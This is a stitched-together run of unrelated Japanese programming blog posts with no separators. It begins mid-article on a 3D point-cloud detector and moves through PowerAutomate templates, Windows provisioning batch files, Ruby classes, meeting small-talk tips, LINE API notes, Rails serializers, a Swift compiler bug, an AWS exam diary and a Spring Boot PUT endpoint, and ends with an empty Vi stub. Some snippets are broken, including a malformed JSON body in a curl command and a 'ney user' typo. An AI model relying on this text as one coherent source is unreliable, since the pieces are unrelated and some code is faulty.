![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/482094/93653053-d522-f3be-fda1-28b7eef28eec.png)
精度も全体的に上昇している。

<h1>結論</h1>
・Semantic Segmentationの得意なPointNetと物体の位置推定が得意なVFEの良い所を合わせたようなネットワークになっている
・位置のConfidence Scoreを求めてNMSに適応させたのも他のネットワークで使えそう

<h1>参考文献</h1>
STD: Sparse-to-Dense 3D Object Detector for Point Cloud
https://arxiv.org/pdf/1907.10471.pdf
PowerAutomateのテンプレートを試した

アドベントカレンダー最終日のネタがなくて困ってしまったので、
TeamsのPowerAutomateアプリからテンプレートを使用しフローを作成します。
「このテンプレートって結局何をやってくれるの？」と思うことありませんか？
私はあるので、とりあえずいくつか確認してみました

#Schedule a meeting with a message sender
## 概要
選択すると以下の画像のような説明が出ます
翻訳すると「Teamsチャットまたはチャネルメッセージからのメッセージの送信者との会議をスケジュールできます」ですが、つまりどういうこと？
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895455/5399cff1-60f8-2937-c0bf-bce0d27dc7c8.png)

## 初期設定
カレンダーとタイムゾーンの選択がでてくるので、
カレンダーは自分のカレンダー、タイムゾーンは「Tokyo Standard Time」を選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895455/cac060d6-cc58-a5f2-6806-17ab37641e56.png)

ワークフローが作成されました、と通知がでました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895455/d4d5deb6-21ef-ba8e-3ee7-3be4de8bd1f6.png)

## 詳細確認
PowerAutomateの一覧から対象のフローを選び編集します
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895455/623d5982-6150-cc5a-5c21-ed24d16c5ea9.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895455/0eb0dcfe-9a99-553f-f877-6cdf9e6c746f.png)

「選択したメッセージの場合」を選ぶと以下のようなアクションになっています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895455/96202006-94dc-880f-cdcd-175595e1f2e2.png)

「選択したメッセージ」とは、[こちら](https://docs.microsoft.com/ja-jp/power-automate/trigger-flow-teams-message#trigger-the-flow)のように、
Teamsのメッセージを選択した際にでてくる以下のような画像のものですね。
先ほどフローを作成したので、「その他の操作」に「Schedule a meeting...」が追加されていました！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895455/43743066-dd46-1c7b-f301-0f56fa9ef657.png)

「Schedle a meeting...」を選ぶと、このようなダイアログがでます。
これが「アダプティブカード」です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895455/b27b82f9-a139-7d7b-2583-84c70e042729.png)

## 会議の時間
会議の終了時間を設定してるであろうアクションを確認したところ、以下のようになっていました
`addToTime(variables('MeetingStartTime'), 30, 'Minute')`
どうやら30分の会議を作成してくれるようですね
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895455/eaaf8fca-81c7-d937-3495-56f51c64ec67.png)

## 結論
これはTeamsのメッセージを選択することで、そのメッセージの送信者との1:1の30分の会議を作成することができるフローでした

## 余談：アダプティブカードを編集する
先ほどの「アダプティブカードの編集」ボタンを押すと、PowerAppsのような画面が出てきます
せっかくなので日本語化してみました。
会議の時間も30分固定ではなくて、選択できるようにしたほうが便利かもしれません
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895455/15df3c77-79ed-45aa-0ef7-4c2f2b48158c.png)


#Follow up on a message
## 概要
選択すると以下の画像のような説明が出ます
翻訳すると「フローをトリガーして、MicrosoftTeamsのメッセージをフォローアップするように通知します。」です。通知がくるってこと？
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895455/947ee05a-3bde-4de1-7987-5bb2d826af71.png)

特に入力項目なく作成できました。

## 詳細確認
フローの詳細は以下のようになっています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895455/a1deebac-8180-619a-0902-f1e566f329bd.png)

アダプティブカードを実際に確認すると、通知の時間を指定できるようです
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895455/7c4978c4-e1d1-8f69-cdce-c5128631ecf9.png)

通知は以下のような通知が、Flowの個別チャットから投稿されました。
指定したメッセージの中身がそのままMessage contentに記載されていました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/895455/2dfb37fc-417e-221d-e051-60dea90971df.png)

## 結論
これはTeamsのメッセージを選択することで、そのメッセージをフォローするように通知を設定できるフローでした
windowsPCのプロビジョニングで初期セットアップ

#セットアップ内容
windows10のプロビジョニングで管理者用アカウントを作成
→初回起動時に自動セットアップ
使用者ユーザーアカウントの作成
PC名変更
ソフトウェアのインストール
社内ストレージへのショートカットの作成

#windows10のプロビジョニング
デスクトップデバイスのプロビジョニングを選択
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/624991/5569c9f5-c663-21da-a56c-a1e93ff1812e.png)

各種情報を入力
デバイス名とパスワードはあとで変更するので、仮入力
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/624991/82150b70-036b-dc6d-2946-5552c9462dfd.png)


>参考url
>https://www.pit-navi.jp/deployment-how-to-deploy-win10-with-ppkg-20180720/

#バッチファイルでユーザーを作成
弊社PCは「admin」と「使用者名」の2アカウントで運用するので、
使用者名のアカウントを作成

コマンドプロンプトを管理者として実行

```powershell:add_user.bat
@echo off

rem 
net user ユーザー名 /add パスワード
net localgroup Administrators ユーザー名 /add
```
```powershell:add_user.bat
@echo off

powershell.exe -Command Start-Process add_user.bat -ArgumentList "%1,%2" -Verb Runas
```
PS C:\> Rename-Computer -NewName "newhostname" -Force -Restart


https://www.vwnet.jp/Windows/PowerShell/MaintenanceLocalAccunt.htm











>「user01」ユーザーを作成する
>net user user01 /add

>パスワード「password123」に変更する
>net user user01 password123

>ユーザー作成時にパスワードも指定する
>net user user01 /add password123

>「Administrators」グループに「user01」を所属させる
>net localgroup administrators user01 /add

>「user01」ユーザーを削除する
>net user user01 /delete

>ユーザーの情報を確認する
>ney user user01
第11回 :: ruby_VI(hello class)

\![Mac OS X-10.15.7](<https://img.shields.io/badge/MacOSX-10.15.7-brightgreen>) \![ruby-2.7.1p83$](<https://img.shields.io/badge/ruby-2.c7.1p83-brightgreen>)


# お題:class化

Rubyでclass化の方法を学ぶ．


# 解法:最初のclass

前にやったhello.rbを少し拡張したバージョンを下記に記載．

```ruby
def puts_hello name
  puts "Hello #{name}."
end

def gets_name
  name = ARGV[0] || 'world'
  return name
end

name = gets_name
puts_hello name
```

上記のコードに対して，Hello Classを定義してclass化を行う．


# Class化したコード

```ruby
class Greeter
  def initialize
    @name = gets_name
    puts_hello
  end

  def puts_hello #salute
    puts "Hello #{@name}."
  end

  def gets_name
    name = ARGV[0] || 'world'
    return name.capitalize
  end
end

Greeter.new
```

上記のコードを書いて以下のコマンドを入力するとちゃんと出てくる

    > ruby hello_class.rb

-Greeter.newこれでClassの宣言が可能

-@nameこれはClassのメンバー変数になる

-initializeコンストラクタみたいなやつ


# 継承、オーバーライド

```ruby
require 'colorize'

# method
def hello(name)
  "Hello #{name}."
end

# 継承
class Greeter < String
  def hello
    "Hello #{self}."
  end
end

# オーバーライド
class String
  def hello
    "Hello #{self}."
  end
end

name = ARGV[0]
puts hello(name).green

# 継承の呼び出し
greeter = Greeter.new(ARGV[0])
puts greeter.hello.green

# オーバーライドの呼び出し
puts ARGV[0].hello.green
```

めっちゃ簡単に書ける．



------
 - **source** ~/grad_members_20f/members/okamoto0910/article/c11.org
【コミュ障でも雑談がしたい】会議前の3分雑談のススメ

# はじめに

この記事は、 [MicroAd Advent Calendar 2020](https://qiita.com/advent-calendar/2020/microad) 25日目の記事です。

# 導入

リモートワークで会議を行う際、MeetsなりZoomなりに人がぽつぽつ集まってくる。
人が集まり始めてから、全員が揃って会議が始まるまでに3分くらいの待ち時間がある。

そこに時間があるならば、雑談がしたい。
なるべく仕事したくないし、話しやすい雰囲気を作ったり、リモートワークで感じがちな精神的な疎外感とか距離感を解消できたりしたらいいなと思った。

だが、僕はコミュ障だ。

コミュ障なりに、会話の切り出し定型文を用意しておけば上手に雑談できるのでは？

やってみた。

# 実践

### Case1：「お疲れ様です」

挨拶は重要だね！
返事してくれる人もしてくれない人もいる。
ただ、100億%会話は広がらない。

工夫が必要。

### Case2：「こんにちは！」

やっぱり挨拶重要だね！
返事してくれる人もしてくれない人もいる。
ただ100億%会話は広がらない。

まだ工夫が必要。

### Case3：「最近どう？」

分かってたけど、完全にむちゃぶり。

話題が無いことが伝わってしまうし、相手も何を返答して良いか困ってしまう。
初手からこれを言うと、「何故、問いかけた？」という殺伐としたオーラが画面越しにも伝わってくる。

この雑さでは、雑談も開発も会議も捗らない。

### Case4：「今日は良い天気ですね」

反応が様々で、これは意外におもしろい。
少なくとも無反応は無かった。

##### 素直に返事くれるパターン

- 「そうですか？こっちは曇ってます」「え、雨降ってませんか？」と返事くれる
- 次に何を言うか用意しておかないと、「あ、適当に言いました。ごめん、、、」ってなる。要注意
- でも意外に会話続く
- 天気ネタは意外とリモートワークと相性が良いのかもしれない

##### 突っ込みパターン

- 「適当な挨拶だな！「なんすかwwwその会話の切り出し方www」と返事くれる
- ひと笑いゲットできるぞ

### Case5：「最近寒くない？」

今冬だし、みんなだいたい「寒いですねー」とか同じ返答かと思いきや意外にパターンあって反応が良い。
「風邪にとかひかないように体調管理に気をつけたいですね」で着地すれば、イイカンジの雑談になるぞ。

#### ノーマルタイプ

- 「急に冷えましたよねー」「布団出るの嫌になっちゃいますねー」系
- 最近の寒いエピソードを話せば、適度な雑談を繰り広げられる

#### ツンデレタイプ

- 「は？そりゃ今冬ですしね」
- そのトゲのある返事がくせになる
- 彼から、まだデレられたことは無い

### Case6：「最近運動不足だわー」

リモートワークあるあるネタだけど、意外に食いつきが悪かったし、あんまり会話も広がらず。
きっと、寒いからだろうね。

想定では、

- 「あ、僕は最近筋トレ始めたよ」
- 「わかるわー、15分くらい散歩に行くと生産性上がるよ」
- 「リモートワークになってからかなり太った」

とかって話題で会話が広がるはずだった。
筋は悪くないと思うので、タイミングが悪かっただけなのかもしれない。

### Case7：「元気？」

会議前に突然ぽっと聞いてみると、不意に本音が出るケースがある。

#### 「いや最近ちょっと忙しいですね」系の返事

- 忙しい理由を少し掘り下げるだけで、広げやすい話題が出てくる
- しかも、悩みとかも聞ける
- すごい有意義な雑談！

#### 「元気でーす」系の返事

- 「開発の調子が良いの？」「最近何やってるの？」的な返しを用意しておけば、会話が広がる

#### 「この案件のきつくないですか？」系の返事

- きつくても辛くない！ きつくても楽しい！

#### 「いやぁー。いや、元気です！」系の返事

- 突然の質問に闇っぽい感情が垣間見えた
- 隠れた悩みとかを引き出せたのかもしれない
- ファインプレーかもしれない

### Case8：「今日は声の調子イマイチじゃないですか？風邪？」

相手の声が実際イマイチかどうかなどは関係ない。
まわりの人の体調まで気が回る優しい人感が出て、好感度上がるかもしれない。

会話の切り口としては中々良さげ！多分。

#### だいたいの人が

- 「え、普段どおりだと思いますが、声、変です？」って返事くる
- まあ想定どおり
- 「最近寒いから風邪気味なのかなと思って」って返せば、とても良い人

#### ごくまれに

- 「いや〜風邪っぽいんですよね、、、」って返事くる
- この時点で、相手を普段から気遣っている感出る
- 「大丈夫？無理はせず早く帰るように仕事調整してくださいね。なんか手伝えることあればやりましょうか？」のコンボで、もう勝ったな。がはは
- 自己評価的には周囲の好感度が爆上がり

### Case9：「髪切った？」

ビデオオフで会議入っている時に言うと、多分おもしろい。
「え？切ってないですよ？あれ？カメラ映ってます？（汗）見えてないじゃん。適当かよっ」でひと笑い獲得できる。


### Case10：「最近帰り遅いんじゃない？」

実際どうか知らんけど、とりあえず言ってみると意外に当たる。
リモートワークで終業時間が遅れ気味だし？知らんけど。
「そうなんですよー」みたいな返事が来て、悩みとか聞ける。良い。

### Case11：「背景画像いいですね」

「なんでそれにしたんですか？」とセットで使うと、程よい雑談につながる。

# 最後に

リモートワークが進み、同僚との雑談が減ってしまい、メンバーの雰囲気や、新しく入社したメンバーの人となりが見えづらくなっている昨今、積極的に雑談をしていくべきだと思うのです。

コミュニケーションが苦手でも、適度に雑談して、楽しく快適なチーム開発ライフを手に入れるのです。
LINEアカウント運用の面で、開発者だけが気になるような知識

# これは何
LINEのアカウント作成してサービスをするときに、気づいた豆知識系のまとめです。
サービス運用の開発者視点で気になった細かな仕様を書いています。
本筋のLINEを利用したサービス開発と運用するときに必要な知識ではありません。

# 知識の内容

### LINE内部ブラウザは、自己証明書（オレオレ証明書）のサイトを開けない
開発中のサイトの場合、自己証明書を利用することがあると思います。
LINE内部ブラウザですと自己証明書のサイトの場合は、アクセスのリクエストがサーバーまで届かないです。
（PC版ブラウザのchromeも同様に開けず、FireFoxは手順を踏むことでサイトを開けました。）

### LINEのタイムラインに投稿するAPIは未実装
タイムラインに投稿するAPIはまだ未実装のようです。[ソースはこちら。](https://www.line-community.me/ja/question/5d0f1d0e401690d976e8687c)
タイムラインの投稿はみんな手動で管理画面からやっているのですかね...？
（お詳しい方いましたら教えていただけるとありがたいです。）

### LIFFが専用APIも備えてたり便利
[LIFFとはLINE Front-end Framework](https://developers.line.biz/ja/docs/liff/)を指しており、LINE社のサービスの１つです。
LINEのトークルーム内で開ける専用のブラウザのようなものです。
アクセス情報取得などLINEとLIFF専用のAPIが準備されており、痒いところに手が届きます。
フルスクラッチでLINE用のwebサイトを考える場合には、LIFFを検討するのは十分に価値があると思います。


### Loginチャネルのprofileのemailを取得許可の権限申請が通るのが早い
[LINEログイン v2.1 APIリファレンス](https://developers.line.biz/ja/reference/line-login/#issue-access-token)より、ログイン情報としてemailをscopeに含めたい場合には事前に申請が必要です。
申請したあと、申請が降りる時間がとても短いです。
OPEN ID認証などでemailを利用する予定の開発者は、この申請をする必要があります。

### LINEとLINE WORKSは別アプリ
[LINE WORKSとは「業務コミュニケーションのためのビジネス版LINE」です。（公式サイトより引用）](https://line.worksmobile.com/jp/)
仕事とプライベートのLINEを切り離して使いたいときに利用するLINEのサービスのひとつです。
こちらはSAML認証の窓口も準備されており、LINEとはまた違った活用ができます。
![スクリーンショット 2020-12-25 10.48.16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/217551/29fb3d13-5992-09ec-25d3-0fd6b3f24d8a.png)

### アカウント情報を手に入れている場合、「連携アプリから削除」してもアカウントへプッシュ通知をするとプログラムは正常終了する（通知は届いていない）
（curlでしか試してない、フワッとした情報です。間違っていたらすみません。）
[LINEログイン v2.1 APIリファレンス](https://developers.line.biz/ja/docs/messaging-api/sending-messages/#methods-of-sending-message)より、アカウント情報があるユーザーに対してcurlでpush通知を送ることができます。
「アカウント情報はあるけど、ブロックされてる」「過去にアカウント情報はあるけど、友達解除されてる」ユーザーにpush通知を送信すると、ユーザーには届かないけど、プログラムは正常終了します。
正常終了するため、送信成功失敗の判定はできない（はず）です。



### LINEアカウントは、チャットかwebhookのどちらかでしか運用できない。
強めの縛りだと思います。
特にサービス初期はあれもこれもしたいことが多すぎて、チャットかwebhookかで悩みます。


# 最後に
登山はいいぞ。
![S__71933978.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/217551/2186827f-3eab-8e41-970b-1f9121c763ed.jpeg)
Jbuilderのレンダリング時間をjsonapi-serializerで改善するTips

RailsのViewでJbuilderを使用していて、collectionのレンダリングが遅いなと感じたことはないでしょうか？
その場合、jsonapi-serializer で手軽に改善できるかもしれません。
jsonapi-serializer の詳しい使い方は [公式ドキュメント](https://github.com/jsonapi-serializer/jsonapi-serializer) を見ていただくとして、本記事では Jbuilder を jsonapi-serializer で置換する際のTipsを書きます。
なお完全に置換するのではなく手軽に検証するために Jbuilder と jsonapi-serializer を共存させるハイブリッド形式にしています。（効果が確認でき必要であれば全置換すればいいと思います）

# おことわり

とある事情により本記事を書いており、主に時間の制約により以下の注意点があります。

* 実際のプロジェクトで以前に対応した内容を基に本記事を書いています。結構速くなった記憶はあるのですが、何倍速くなったとか、実際のベンチマークを提示することはできません。
* 本記事中のコードは動作確認していません。雰囲気だけ参考にしてください。

# jsonapi-serializer とは

データを[JSON API](https://jsonapi.org/)フォーマットで出力してくれるgemで、[速さをウリ](https://github.com/jsonapi-serializer/comparisons)にしています。
もとは [Netflix/fast_jsonapi](https://github.com/Netflix/fast_jsonapi) で開発されていましたが、メンテナンスされなくなったため有志コミュニティにより fork されました。それからアレコレあり現在の jsonapi-serializer/jsonapi-serializer になりました。

# Tips

## Serializer Moduleを作成する

先述の通り jsonapi-serializer の出力は JSON API の仕様で定められたフォーマットとなり、jbuilder を置換するには使いにくいです。
そのため以下のような Serializer Moduleを作成します。

```ruby
module ApplicationSerializer
  extend ActiveSupport::Concern

  included do
    include JSONAPI::Serializer
  end

  class_methods do
    # 短く書きたい場合は以下のようなクラスメソッドがあるといいかもしれません
    # def attributes(...)
    #   new(...).attributes
    # end
  end

  # 必要な部分のみを抽出
  def attributes
    data = serializable_hash[:data]
    case data
    when Hash
      data[:attributes]
    when Enumerable
      data.pluck(:attributes)
    else
      data
    end
  end
end
```

## Jbuilder の show.json.jbuilder など単一リソースに対応する Serializer を作成する

たとえば以下のような感じです。


```ruby:app/views/posts/show.json.jbuilder
json.extract! @post, :id, :title, :content, :published_at
```

```ruby:app/serializers/post_serializer.rb
class PostSerializer
  include ApplicationSerializer

  attributes :id, :title, :content, :published_at
end
```

## show.json.jbuilder の中身を Serializer を使用するように変更する

```ruby:app/views/posts/show.json.jbuilder
json.merge! PostSerializer.new(@post).attributes
```

## 同様に index.json.jbuilder など複数リソースのviewを Serializer を使用するように変更する

```ruby:app/views/posts/index.json.jbuilder
json.array! @posts, partial: 'posts/post', as: :post
```

↓

```ruby:app/views/posts/index.json.jbuilder
json.merge! PostSerializer.new(@posts).attributes
```
（Serializerに渡すものは単一・複数リソースのどちらでもOKです）
[Swift] 現在propertyWrapperでは変数名に日本語を使えません

# 追記
Swift5.4ではこの制限はなくなりました。

# 本文

Swiftは変数名に日本語や絵文字や、その他のかなり多くの文字を使うことができます。
そこで英語の苦手な知人に日本語名の変数でいろいろ説明していたのですが、なんと「propertyWrapperでは日本語が使えない」という事実が明らかになったので、共有します。

環境はSwift5.3です。

# 実験
実際にはSwiftUIをいじっている際に起こったのですが、結局問題なのはpropertyWrapperなので一緒です。
まずはシンプルなラッパとそれを使う構造体を宣言します。ポイントは「値」という変数名です。

```Swift
@propertyWrapper
struct MyWrapper<T>{
    let wrappedValue: T
    let projectedValue: T

    init(wrappedValue value: T){
        self.wrappedValue = value
        self.projectedValue = value
    }
}

struct MyValue{
    @MyWrapper var 値 = 10

    func print(){
        //これは大丈夫
        Swift.print(self._値)
        //Error: '$' is not an identifier; use backticks to escape it
        //Error: Value of type 'Value' has no member '$'
        Swift.print(self.$値)
    }
}
```

`projectedValue`を使おうとすると「`$`」が何かトラブルを起こしてエラーが出るようになります。使わなければエラーにはなりません。

# 試行錯誤
当初「日本語名で始まるのがまずいならアンダーバーでもつけとけば大丈夫でしょ」と高を括っていたのですが、ダメでした。

```Swift
    func print(){
        Swift.print(self._値)
        Swift.print(self.__値)
        //Cannot find '値' in scope
        Swift.print(self.$_値) 
    }
```

「アンダーバーはちょっと特殊な記号だから確かに良くないな」と改心して`a`をつけてみたのですが、ダメでした。

```Swift
    func print(){
        Swift.print(self.a値)
        Swift.print(self._a値)
        //Cannot find '値' in scope
        Swift.print(self.$a値)
    }
```
その後も試行錯誤を重ねましたが、結論としては**一文字でも入っているとダメでした**。これは日本語に限らず、英数字を除くほぼ全ての文字に加わる制約です。

#原因
`$`の後の文字としてこれらの文字を使うことができない、という制約は特にありません。[Developer Forums](https://developer.apple.com/forums/thread/662889)の指摘によるとコンパイラのバグのようです。

こちらの[PR](https://github.com/apple/swift/pull/32961)でバグ自体は修正されているようですが、Swift5.3時点ではまだ修正が含まれておらず、この先のリリースでの修正となるそうです。もうしばらくの辛抱ですね。
AWS未経験者がソリューションアーキテクトアソシエイトを目指してみた

## はじめに

こんにちは！
以前から興味はあるけどなかなか手につかなかったAWSのソリューションアーキテクトアソシエイトの取得を目指したAWS未経験者の柴坂です。
そんな私が今回2ヶ月間でどのように学習を進めたかをまとめてみました。

## 学習方法

基本的には書籍からの学習と問題集を解いて学習を進めました。
書籍は以下を利用しています。
また、Udemyの講座も活用させていただきました。

### 書籍

書籍については以下の物を利用しています。

・AWS認定アソシエイト３資格対策（リックテレコム）
・AWS認定ソリューションアーキテクトアソシエイト直前対策テキスト（秀和システム）

1ヶ月目は基本的に書籍による学習を中心に進めました。
そもそも未経験のため、S3とはなんぞや？というレベル感なわけですが、基本的な用語の学習を平日終業後に１〜２時間ほど読み込んで進めてました。
各章末で簡単な理解度テストがあるのでそれを実施したところ、学習直後は、まあまあな理解度でしたが、振り返りとして再度解いてみると忘れていることもあり間違った箇所については再度読み込んでいきました。

### Udemy

残り1ヶ月でUdemyを利用し、以下の講座を受講してみました。
　
#### これだけでOK！ AWS 認定ソリューションアーキテクト – アソシエイト試験突破講座（SAA-C02試験対応版）

こちらは動画とハンズオン学習が中心でした。こちらはAWSの機能について実際に触るため、書籍での学習以上に理解しやすく感じました。
ただ、実際に触る際にできるだけコストがかからないよう教材は準備されていますが、一部どうしてもコストがかかる部分があるため、そこがネックになるかもしれないです。
私の場合、途中から「いかにコストをかけないか」を考えながら学習に望んでいましたので、ある意味いい勉強になったと思っています。（笑）

また、こちらの教材は模擬試験3回分が付与されているので動画で学習し、模擬試験をうけて学習を進めるという方法にも使えると思います。

#### 基本問題の模擬試験①（「これだけでOK！～講座の模擬試験③と一部重複あり）

こちら、問題集と試験前の総仕上げとして使用しました。
6回分の問題集になり、1回目は一つ目の教材とかぶる部分がありますが、他の問題集については高難易度の問題集になるため、一つ目の問題だけで不安な時などに非常に役立つと感じました。
最初はなかなか点数取れなく、少々心折れそうになりながら進めましたが、2回3回と繰り返し問題を解いてみることで点数を取れるようになり、自信につながってきたように感じます。

## 受験

いざ受験です。
受験ですが、テストセンターか在宅を選べるようです。
在宅の場合、試験会場（要するに自室）の写真をアップしないといけず、恥ずかしいので私は断念しました。

受験済みの方はご存知だと思いますが、PSIかピアソンVUEのどちらかを選べるようです。
ピアソンVUEはPSIと違って本人確認などの手続きが簡単なようでしたので、今回はピアソンVUEのテストセンターにて受験したいと思います。

## 結果

残念ながら680で不合格でしたが、次回また頑張ります。

## まとめ

受験に向けての学習については、書籍なりいろいろ方法があると思いますが、自分にあった勉強法を探すもよし、どうやって学習を進めたらいいか、わからない場合は受験者の話を聞いて勧められた教材で学習してみるのも効果が期待できるのではないかと思います。
マルチスケールシミュレーション特論：第11回(class)

# はじめに

今回は以下のhello.rbと同じ動作をするclassを作る

```ruby:hello.rb
def puts_hello name
  puts "Hello #{name}."
end

def gets_name
  name = ARGV[0] || 'world'
  return name
end

name = gets_name
puts_hello name
```

# クラスを作る

```ruby:class_Greeter.rb
class Greeter
  def initialize
    @name = gets_name
    puts_hello
  end

  def puts_hello
    puts "Hello #{@name}."
  end

  def gets_name
    name = ARGV[0] || 'world'
    return name
  end
end

Greeter.new
```

@nameのように変数の頭に@を付けるとインスタンス変数として扱われる．initializeメソッドはコンストラクタ．

# クラスの継承

Stringクラスを継承してGreeter\_inheritedクラスを作る．

```ruby:class_Greeter.rb
class Greeter_inherited < String
  def hello
    "Hello #{self}."
  end
end

greeter_inherited = Greeter_inherited.new(ARGV[0])
puts greeter_inherited.hello.green
```

# メソッドの追加

Stringクラスにhelloメソッドを追加する．

```ruby:class_Greeter.rb
class String
  def hello
    "Hello #{self}."
  end
end

puts ARGV[0].hello.red
```

# 参考文献

[チャート式ruby-VI(hello class)](https://qiita.com/daddygongon/items/969ad5112878f6dab844)

------
 - **source** ~/grad_members_20f/members/ryuta-kikuchi/qiita_articles/lecture11.org
【Swift】クリスマスに鐘を鳴らす

# メリークリスマス

`viewDidLoad` の中に処理を書いて、アプリを起動したときにクリスマスだったら鐘の音を鳴らそう。

- 日付の取得方法
- mp3の再生方法

この2つがメインです。

## 今日の日付を取得し、クリスマスかどうかを判断する

```swift
// 今日の日付をDate型で定義
let today = Date()

// DateFormatterのインスタンスを初期化
let date = DateFormatter()

// 日付表示のフォーマットを定義する
date.dateFormat = DateFormatter.dateFormat(fromTemplate: "Md", options: 0, locale: Locale(identifier: "ja_JP"))

// 定義したフォーマットで今日の日付を表示する
if date.string(from: today) == "12/25" {
    print("メリークリスマス")
}
```

### DateFormatterのフォーマットについて補足

- `fromTemplate` : 日付の書式。`M` が月で `d` が日。他にも時刻を表示したりする書き方がある
- `option` : どうも今のところ特に定義されてないみたい。`0` でいいです
- `locale` : ロケール。地域。日本時間を指定

## 鐘の音を鳴らす

iOSに最初から入っている鐘の音を鳴らしたい場合はこちらの記事を参照

**ミニッツリピーターを作る part.2**
<https://qiita.com/antk/items/d0dc6a6c9ff68747dd6c>

今回は気の利いたmp3を用意して鳴らしてみよう。
と言ってもこの記事では音が鳴らないし、どこから音源を持ってくるかは特に書かないので、**ロマンチックな鐘の音が鳴るんだな**と思って読んでほしい。

### 音を再生するメソッドを作る

まず `xmasBell.mp3` という音源をアプリのディレクトリの直下に置くことにする。最初に `ViewController.swift` が置いてある階層と同じ。

メソッドは `viewDidLoad` の中ではなく外に作る。
後で全体のコードは書くが、音を鳴らすために必要なコードは以下。

```swift
// AVFoundationを使う
import AVFoundation

var audioPlayer:AVAudioPlayer!

// 中略

  func playSound() {
    // ファイル名と形式を指定して再生する
    let soundURL = Bundle.main.url(forResource: "xmasBell", withExtension: "mp3")

    // 例外処理
    do {
      audioPlayer = try AVAudioPlayer(contentsOf: soundURL!)
      // 再生
      audioPlayer?.play()
    } catch {
      print("エラーです")
    }
  }
```

メソッドができたら、日付を判定する `if` の中で呼び出してあげればいい。

```swift
playSound()
```

## 完成🎄

```swift
import UIKit
import AVFoundation

class ViewController: UIViewController {
  
  var audioPlayer:AVAudioPlayer!

  override func viewDidLoad() {
    super.viewDidLoad()
    
    let today = Date()
    let date = DateFormatter()

    // 日付表示のフォーマットを定義する
    date.dateFormat = DateFormatter.dateFormat(fromTemplate: "Md", options: 0, locale: Locale(identifier: "ja_JP"))

    if date.string(from: today) == "12/25" {
      // 音源を再生するメソッドを呼び出す
      playSound()
      print("メリークリスマス")
    }
  }
  
  // 音源を再生するメソッド
  func playSound() {
    // ファイル名と形式を指定して再生する
    let soundURL = Bundle.main.url(forResource: "xmasBell", withExtension: "mp3")

    // 例外処理
    do {
      audioPlayer = try AVAudioPlayer(contentsOf: soundURL!)
      // 再生
      audioPlayer?.play()
    } catch {
      print("エラーです")
    }
  }
}
```

よいクリスマスを。
【Java・SpringBoot】RESTサービス③ - PUT（更新）メソッド 

ユーザ情報を取得、登録、更新、削除するRESTサービスを実装します
前回GET/POSTを実装したので、今回はユーザー情報を更新するPUTメソッド処理を実装します！

#RESTサービス実装クラス
* 一件更新用のメソッドを実装
* UserDaoJdbcImplのupdateOneを呼びます

```RestServiceJdbcImpl.java
//中略
    @Override
    public boolean update(User user) {

        int result = dao.updateOne(user);
        if(result == 0) {
            return false;
        } else {
            return true;
        }
    }
//中略
 ```

```UserDaoJdbcImpl.java
//中略
    // Userテーブルを１件更新.
    @Override
    public int updateOne(User user) throws DataAccessException {

        //パスワード暗号化
        String password = passwordEncoder.encode(user.getPassword());

        //１件更新
        int rowNumber = jdbc.update("UPDATE M_USER"
                + " SET"
                + " password = ?,"
                + " user_name = ?,"
                + " birthday = ?,"
                + " age = ?,"
                + " marriage = ?"
                + " WHERE user_id = ?",
                password,
                user.getUserName(),
                user.getBirthday(),
                user.getAge(),
                user.isMarriage(),
                user.getUserId());

        return rowNumber;
    }
//中略
```

#コントローラクラス実装
* PUTメソッドには@PutMappingを使う
* HTTPリクエストのボディ部分を@RequestBodyで引数にセット

```UserRestController.java
//中略
    /**
     * ユーザー１件登録
     */
    @PutMapping("/rest/update")
    public String putUserOne(@RequestBody User user) {

        // ユーザーを１件登録
        boolean result = service.update(user);

        String str = "";

        if(result == true) {

            str = "{\"result\":\"ok\"}";

        } else {

            str = "{\"result\":\"error\"}";

        }

        // 結果用の文字列をリターン
        return str;
    }
//中略
```

#起動して確認！
* ターミナルからPUTします
* jsonで{"result":"ok"}が帰ってきたらうまくいってます！^^
* ユーザー一覧にもしっかり更新内容が反映されました🌟

```
$ curl -XPUT "http://localhost:8080/rest/update" -H 'Content-Type: application/json' -d '{"userId":"yamada@co.jp","password":"pass","userName":"birthday":"1911-11-11","age":"111","marriage":"false","role":"ROLE_ADMIN"}'
{"result":"ok"}
```

![スクリーンショット 2020-12-21 11.19.19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/282755/5268355b-d533-50d9-cd0d-067dfa431396.png)
VMware上でOpenShift Virtualizationの仮想マシンは動作する

[前回の記事](https://qiita.com/rk05231977/items/ec1626c1223dddffc98a)でVMware環境上にOpenShiftを構築したのは、実はこれを確かめたかったから。

結論から言うと、Windows 10に導入したVMware Workstation 16 Proの上にOpenShift 4.6.9のクラスターを作って、それにOpenShift Virtualizationを導入することは可能で、その上でWindows Server 2019の仮想マシンを動かすこともできる。Nested VM環境になる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/146381/9dc9d1b4-8a69-7e47-d93e-0c34d3b98205.png)

これなら多分、vSphere ESXi上でもOpenShift Virtualizationは動作するんじゃないか。

VMware上の仮想マシン（OpenShiftのノード）はIntel VT-xを有効にしておく必要がある。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/146381/d7f876b7-55ff-774f-45ff-de01e0afa24a.png)
Vi コマンド一覧

備忘録です。
